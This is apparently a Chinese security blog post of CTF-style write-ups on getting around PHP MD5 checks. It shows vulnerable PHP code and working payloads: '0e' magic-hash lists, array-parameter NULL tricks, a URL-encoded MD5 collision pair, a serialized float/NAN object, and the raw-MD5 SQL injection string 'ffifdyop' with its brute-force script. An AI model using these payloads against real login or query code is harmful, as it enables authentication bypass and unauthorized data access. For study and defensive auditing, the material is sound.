PHP MD5 Bypass Trick


前言

该篇主要记录有关PHP代码中MD5逻辑缺陷的绕过技巧【update+ing】

PHP-逻辑类型

PHP 类型比较表

弱类型-松散比较

  • 弱类型比较

字符==:【不比较数据类型】、【仅比较数据值=>数据值相同】

字符!=:【仅比较数据值=>数据值不同】

image-20200826185612440

  • Example

字符串类型和数字类型进行比较时,字符串强制转换为数字:如果字符串开头有数字则转为开头的数子,如果开头无数字则为数字0

λ  Qftm >>>: php -r var_dump(11=='11sss');
Command line code:1:
bool(true)

λ  Qftm >>>: php -r var_dump(11=='sss');
Command line code:1:
bool(false)

λ  Qftm >>>: php -r var_dump(0=='sss');
Command line code:1:
bool(true)

强类型-严格比较

  • 强类型比较

字符===:【比较数据类型=>数据类型相同】and【比较数据值=>数据值相同】

字符!==:【比较数据类型=>数据类型不同】or【比较数据值=>数据值不同】

image-20200826200951931

  • Example

不同数据类型比较为False,相同数据类型比较数据值

λ  Qftm >>>: php -r var_dump(111==='111');
Command line code:1:
bool(false)

λ  Qftm >>>: php -r var_dump(111===22);
Command line code:1:
bool(false)

λ  Qftm >>>: php -r var_dump(111===111);
Command line code:1:
bool(true)

MD4-1-弱类型-挑战

Code

<?php
highlight_file(__file__);

if (isset($_GET['user'])) {
    if ($_GET["user"] != hash("md4", $_GET["user"]))
    {
        die('False!!!!!!');
    }
    else{
        echo "Success!!!!!!";
        echo file_get_contents('flag');
    }
}else{
    echo "Please input the user!<br>";
}

Bypass

代码中的if判断!=为弱类型判断,可以使用科学计数法0e进行绕过:通过md4碰撞,得到特定的字符串【科学计数法表示】加密的结果同为科学计数法表示。【注意:这里的科学计数法所表示的字符串0e后面不能包含字母而应该是纯数字】

  • MD4 Collision
Plaintext MD4 Hash
0e001233333333333334557778889 0e434041524824285414215559233446
0e00000111222333333666788888889 0e641853458593358523155449768529
  • Bypass

弱类型判断!=0e科学计数法不论0e后面是什么数子,结果都为0,即:0e111111==0e2551515 -> 0==0 -> bool(true)

image-20200826181336952

MD5-1-弱类型-挑战

Code

<?php 
highlight_file(__file__);

if (isset($_GET['user']) && isset($_GET['pass'])) {
    $user = $_GET['user'];
    $pass = $_GET['pass'];

    if ($user != $pass && md5($user) == md5($pass)) {
        echo file_get_contents('flag');
    } else {
        echo "False!!!!!!";
    }

}else{
    echo "Please input the user and pass !<br>";
}

Bypass

弱类型比较,绕过手法:数组绕过、碰撞绕过、科学计数法绕过

  • 数组绕过

在PHP中MD5函数默认接收的参数为字符串,当参数为数组进行解密时默认返回值为Null

λ  Qftm >>>: php -r var_dump(md5(array()));

Warning: md5() expects parameter 1 to be string, array given in Command line code on line 1

Call Stack:
    0.0013     400640   1. {main}() Command line code:0
    0.0013     400640   2. md5(array(0)) Command line code:1

Command line code:1:
NULL

利用php该特性进行绕过MD5逻辑限制

?user[]=1&pass[]=11

image-20200826202743728

  • MD5 碰撞

通过MD5碰撞,构造特殊的两个不同的内容生成相同的MD5值

user=%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%16%B4%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%DC%9F%95ab%D2%09P%A1%5D%12%3B%1ETZ%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29%EF%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%1E%7Ch%B0%96%A7%E5U%EBn1q%CA%D0%8B%C7%1BSP

pass=%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%164%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%5C%A0%95ab%D2%09P%A1%5D%12%3B%1ET%DA%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29o%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%9E%7Bh%B0%96%A7%E5U%EBn1q%CA%D0%0B%C7%1BSP

特殊字符串绕过

image-20200826203126477

  • 科学计数法

弱类型比较,使用特殊字符串产生的科学计数法结果进行绕过,脚本爆出常见的特殊字符串如下:

纯大写字母类

QLTHNDT 0e405967825401955372549139051580
QNKCDZO 0e830400451993494058024219903391
EEIZDOI 0e782601363539291779881938479162
TUFEPMC 0e839407194569345277863905212547
UTIPEZQ 0e382098788231234954670291303879
UYXFLOI 0e552539585246568817348686838809
IHKFRNS 0e256160682445802696926137988570
PJNPDWY 0e291529052894702774557631701704
ABJIHVY 0e755264355178451322893275696586
DQWRASX 0e742373665639232907775599582643
DYAXWCA 0e424759758842488633464374063001
GEGHBXL 0e248776895502908863709684713578
GGHMVOE 0e362766013028313274586933780773
GZECLQZ 0e537612333747236407713628225676
NWWKITQ 0e763082070976038347657360817689
NOOPCJF 0e818888003657176127862245791911
MAUXXQC 0e478478466848439040434801845361
MMHUWUV 0e701732711630150438129209816536

纯数字类

240610708 0e462097431906509019562988736854
314282422 0e990995504821699494520356953734
571579406 0e972379832854295224118025748221
903251147 0e174510503823932942361353209384
1110242161 0e435874558488625891324861198103
1320830526 0e912095958985483346995414060832
1586264293 0e622743671155995737639662718498
2302756269 0e250566888497473798724426794462
2427435592 0e067696952328669732475498472343
2653531602 0e877487522341544758028810610885
3293867441 0e471001201303602543921144570260
3295421201 0e703870333002232681239618856220
3465814713 0e258631645650999664521705537122
3524854780 0e507419062489887827087815735195
3908336290 0e807624498959190415881248245271
4011627063 0e485805687034439905938362701775
4775635065 0e998212089946640967599450361168
4790555361 0e643442214660994430134492464512
5432453531 0e512318699085881630861890526097
5579679820 0e877622011730221803461740184915
5585393579 0e664357355382305805992765337023
6376552501 0e165886706997482187870215578015
7124129977 0e500007361044747804682122060876
7197546197 0e915188576072469101457315675502
7656486157 0e451569119711843337267091732412

大小写字母混合类

aaaXXAYW 0e540853622400160407992788832284
aabg7XSs 0e087386482136013740957780965295
aabC9RqS 0e041022518165728065344349536299

原科学计数法类

0e215962017 0e291242476940776845150308577824

利用上述科学计数法类特性进行弱类型绕过

image-20200826204130347

MD5-2-若类型-挑战

Code

<?php
highlight_file(__file__);

if (isset($_GET['user']) && isset($_GET['pass'])) {
    $user = $_GET['user'];
    $pass = $_GET['pass'];

    if (!ctype_alpha($user) && !is_numeric($pass) && md5($user) == md5($pass)) {
        echo "</br>login successful</br>";
        echo file_get_contents('flag');
    } else {
        echo "login failed!<br>";
        echo "False!!!!!!";
    }

}else{
    echo "Please input the user and pass !<br>";
}
?>

Bypass

MD5-1-弱类型-挑战不同之处在于多了数据类型判断!ctype_alpha($user) && !is_numeric($pass),绕过手段:碰撞绕过

  • 碰撞绕过

由于代码逻辑做了数据类型判断,这里只能通过碰撞绕过:同MD5-1-弱类型-挑战中碰撞一样

user=%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%16%B4%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%DC%9F%95ab%D2%09P%A1%5D%12%3B%1ETZ%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29%EF%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%1E%7Ch%B0%96%A7%E5U%EBn1q%CA%D0%8B%C7%1BSP

pass=%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%164%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%5C%A0%95ab%D2%09P%A1%5D%12%3B%1ET%DA%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29o%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%9E%7Bh%B0%96%A7%E5U%EBn1q%CA%D0%0B%C7%1BSP

image-20200826204835947

MD5-3-若类型-挑战

Code

<?php
highlight_file(__file__);

if (isset($_GET['user']) && isset($_GET['pass'])) {
    $user = $_GET['user'];
    $pass = $_GET['pass'];

    if ($user != $pass && md5($user) == md5(md5($pass))) {
        echo "</br>login successful</br>";
        echo file_get_contents('flag');
    } else {
        echo "login failed!<br>";
        echo "False!!!!!!";
    }

}else{
    echo "Please input the user and pass !<br>";
}
?>

Bypass

代码核心逻辑在于if ($user != $pass && md5($user) == md5(md5($pass))),和上面挑战不同在于MD5校验为单层MD5与双层MD5比较,绕过手段:Null绕过、碰撞科学计数法绕过。

  • Null绕过

通过巧妙的构造Null使得MD5加密值相同,针对逻辑md5($user) == md5(md5($pass)),当$user值为空,$pass为数组则可以巧妙的利用Null进行绕过,分析逻辑如下:

var_dump(md5(Null));
string(32) "d41d8cd98f00b204e9800998ecf8427e"

var_dump(md5(array()));
NULL

var_dump(md5(md5(array())));
string(32) "d41d8cd98f00b204e9800998ecf8427e"

md5(null)==md5(null)

Null特性绕过

image-20200826215510564

  • 碰撞科学计数法绕过

尝试碰撞寻找二层MD5加密值为科学计数法表示,进行绕过。

MD5-4-强类型-挑战

Code

<?php
highlight_file(__file__);

if (isset($_GET['user']) && isset($_GET['pass'])) {
    $user = $_GET['user'];
    $pass = $_GET['pass'];

    if ($user != $pass && md5($user) === md5(md5($pass))) {
        echo "</br>login successful</br>";
        echo file_get_contents('flag');
    } else {
        echo "login failed!<br>";
        echo "False!!!!!!";
    }

}else{
    echo "Please input the user and pass !<br>";
}
?>

Bypass

MD5-3-若类型-挑战相比较,校验逻辑变为强类型,【由于是强类型比较所以无法使用上述碰撞科学计数法】,绕过手法:Null绕过。

  • Null绕过

MD5-3-若类型-挑战Null绕过手法原理相同,这里虽然是强类型但最终的Null值MD5皆为字符串类型,同时null值MD5相同

image-20200827003442950

MD5-5-弱类型-挑战

Code

<?php
highlight_file(__file__);

if (isset($_GET['user']) && isset($_GET['pass'])) {
    $user = (string)$_GET['user'];
    $pass = (string)$_GET['pass'];

    if ($user != $pass && md5($user) == md5(md5($pass))) {
        echo "</br>login successful</br>";
        echo file_get_contents('flag');
    } else {
        echo "login failed!<br>";
        echo "False!!!!!!";
    }

}else{
    echo "Please input the user and pass !<br>";
}
?>

Bypass

同理与MD5-3-若类型-挑战相比较,校验多了一个强制转换变量为字符串$user = (string)$_GET['user'];$pass = (string)$_GET['pass'];,导致Null手法无法使用【数组会受到(string)强制转换的影响】,绕过手法:碰撞科学计数法绕过。

  • 碰撞科学计数法绕过

尝试碰撞寻找二层MD5加密值为科学计数法表示,进行绕过。

MD5-6-强类型-挑战

Code

<?php
highlight_file(__file__);

if (isset($_GET['user']) && isset($_GET['pass'])) {
    $user = $_GET['user'];
    $pass = $_GET['pass'];

    if ($user !== $pass && md5($user) === md5($pass)) {
        echo file_get_contents('flag');
    } else {
        echo "False!!!!!!";
    }

}else{
    echo "Please input the user and pass !<br>";
}

Bypass

针对强类型逻辑比较绕过,同弱类型逻辑比较中利用php特性MD5处理数组默认返回Null进行绕过手法原理一样(Null类型强(弱)等于Null类型),绕过手法:数组绕过

  • 数组绕过
?user[]=11&pass[]=1

image-20200827005844221

MD5-7-强类型-挑战

Code

<?php
highlight_file(__file__);

class auth
{
    public $user;
    public $pass;

    public function __destruct()
    {
        $this->user = (string)$this->user;
        if (strlen($this->user) > 3 || strlen($this->pass) > 3) {
            echo "Auth1 False!!!!!!";
        }
        if ($this->user !== $this->pass && $this->user != $this->pass && md5($this->user) === md5($this->pass)) {
            echo file_get_contents('flag');
        }else{
            echo "Auth2 False!!!!!!";
        }
    }
}

unserialize($_POST['auth']);

Bypass

代码审计分析:反序列化$_POST['auth']的序列化数据,当auth对象销毁时触发__destruct魔术方法,__destruct里面的逻辑为,变量长度不能大于3,$this->user变量强制转换为字符串类型,然后$this->user$this->pass变量进行强弱类型比较,最后变量MD5值要强类型相等。

通过审计分析,绕过手段:浮点型数据精度绕过、php特定数据类型值绕过。

  • 浮点型数据精度绕过

浮点型精度

永远不要相信浮点数结果精确到了最后一位,也永远不要比较两个浮点数是否相等。如果确实需要更高的精度,应该使用任意精度数学函数或者 gmp 函数。

部分分析如下

λ  Qftm >>>: php -r var_dump(strlen(0.400000000000004));
Command line code:1:
int(3)

λ  Qftm >>>: php -r var_dump(strlen(0.400000000000005));
Command line code:1:
int(16)

λ  Qftm >>>: php -r var_dump(strlen(0.4000000000006));
Command line code:1:
int(15)

λ  Qftm >>>: php -r var_dump(0.400000000000004);
Command line code:1:
double(0.4)

λ  Qftm >>>: php -r var_dump(0.400000000000006);
Command line code:1:
double(0.40000000000001)

λ  Qftm >>>: php -r var_dump(0.4000000000005);
Command line code:1:
double(0.4000000000005)

浮点型精度绕过

class auth{
    public $user;
    public $pass;

}

$a = new auth();

$a->user = 0.04;
$a->pass = 0.1*0.1;

echo urlencode(serialize($a));
echo "<br>\n";
echo serialize($a);

auth=O:4:"auth":2:{s:4:"user";d:0.4;s:4:"pass";d:0.400000000000004;}

分析

$this->user = (string)$this->user; => string("0.4")
$this->pass => double(0.4) 【0.400000000000004】

# bypass if (strlen($this->user) > 3 || strlen($this->pass) > 3)
λ  Qftm >>>: php -r var_dump(strlen(0.400000000000004));
Command line code:1:
int(3)

λ  Qftm >>>: php -r var_dump(strlen(0.4));
Command line code:1:
int(3)

# bypass $this->user !== $this->pass 【数据类型不同,逻辑`!==`比较直接为true】
$this->user => string type
$this->pass => float type

λ  Qftm >>>: php -r var_dump(0.400000000000004);
Command line code:1:
double(0.4)

λ  Qftm >>>: php -r var_dump((string)0.4);
Command line code:1:
string(3) "0.4"

# bypass $this->user != $this->pass 【比较数据值】
# 在比较数字或字母的时候通常使用对比法,即从前往后进行按字母位比较
string("0.4") 和 double(0.4) 【0.400000000000004】进行比较时,string("0.4")转换为数字型0.4,然后和 double(0.4) 【0.400000000000004】进行比较,即0.400000000000000和0.400000000000004的比较,直观看到:数据值不同,逻辑`!=`比较为true

# bypass md5($this->user) === md5($this->pass)
浮点型 double(0.4) 【0.400000000000004】在进行MD5加密时,实际加密的为0.4,即MD5(0.4)===MD5(0.4)

效果

image-20200827014052979

  • php特定数据类型值绕过

除了使用上述浮点精度解决问题外,也可以使用PHP中比较特殊的两个值进行绕过代码逻辑限制

/**
 * The infinite
 */
define ('INF', INF);

/**
 * Not A Number
 */
define ('NAN', NAN);

NAN即非数,特性:和任何数据类型运算还是本身

var_dump(NAN+1);        double(NAN)
var_dump(NAN+"1111");   double(NAN)
var_dump(NAN+true);     double(NAN)
var_dump(NAN+false);    double(NAN)

NAN绕过

image-20200827020255841

INF即无穷大,'2'/02/a2.0/0

λ  Qftm >>>: php -r var_dump(2/0);

Warning: Division by zero in Command line code on line 1

Call Stack:
    0.0019     400504   1. {main}() Command line code:0

Command line code:1:
double(INF)

INF绕过

image-20200827020511272

MD5-8-SQL拼接-挑战

Code

<?php
include 'conn.php';
highlight_file(__file__);

if (isset($_GET['user'])) {
    $query = "SELECT * FROM flag WHERE password = '" . md5($_GET["user"],true) . "'";
    $result = $mysqli->query($query);
    $row = $result->fetch_assoc();
    var_dump($row);
    $result->free();
    $mysqli->close();
}
else{
    echo "Please input the user!<br>";
}

Bypass

上述代码审计逻辑绕过MD5查询即可:由于md5()函数第二个参数为true,加密后的值会以二进制生成,当其被当成字符串处理后极有可能构造出闭合的字符串,比如 or and等特殊字符,通过碰撞取得特定特殊字符串构造出相关or关键字进行绕过。

PHP中MD5函数用法:md5() 函数计算字符串的 MD5 散列

md5(string,raw)
参数 描述
string 必需。规定要计算的字符串。
charlist 可选。规定十六进制或二进制输出格式:TRUE - 原始 16 字符二进制格式FALSE - 默认。32 字符十六进制数注释:该参数是 PHP 5.0 中添加的。

脚本碰撞

<?php 
for ($i = 0;;) { 
 for ($c = 0; $c < 1000000; $c++, $i++)
  if (stripos(md5($i, true), '\'or\'') !== false)
   echo "\nmd5($i) = " . md5($i, true) . "\n";
 echo ".";
}
?>

// http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/

已公开得几个特殊字符

content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
string: T0Do#'or'8

content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b 

绕过

?user=ffifdyop

"SELECT * FROM flag WHERE password = '" . md5($_GET["user"],true) . "'";

# or条件为真,查出所有数据
SELECT * FROM flag WHERE password = ''or'6' 

Author: Qftm
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source Qftm !
 Previous
CVE-2019-15107 Webmin RCE 后门深入分析 CVE-2019-15107 Webmin RCE 后门深入分析
最近,有关webmin CVE-2019-15107,看了网上几篇分析文章,发现有些文章并没有把该有的细节讲清楚,比如:chybeta师傅分析的文章中root用户可以直接利用攻击,这里并没有说明白:如果系统用户(root等)被加入到webm
2020-10-25
Next 
从0到1认识Redis到多维角度场景下的安全分析与利用 从0到1认识Redis到多维角度场景下的安全分析与利用
Redis数据库安全性问题对于安全测试人员来说再熟悉不过了,这里将针对该数据库做一个基本的介绍和多维角度场景下的安全分析与利用探索。
2020-07-18
  TOC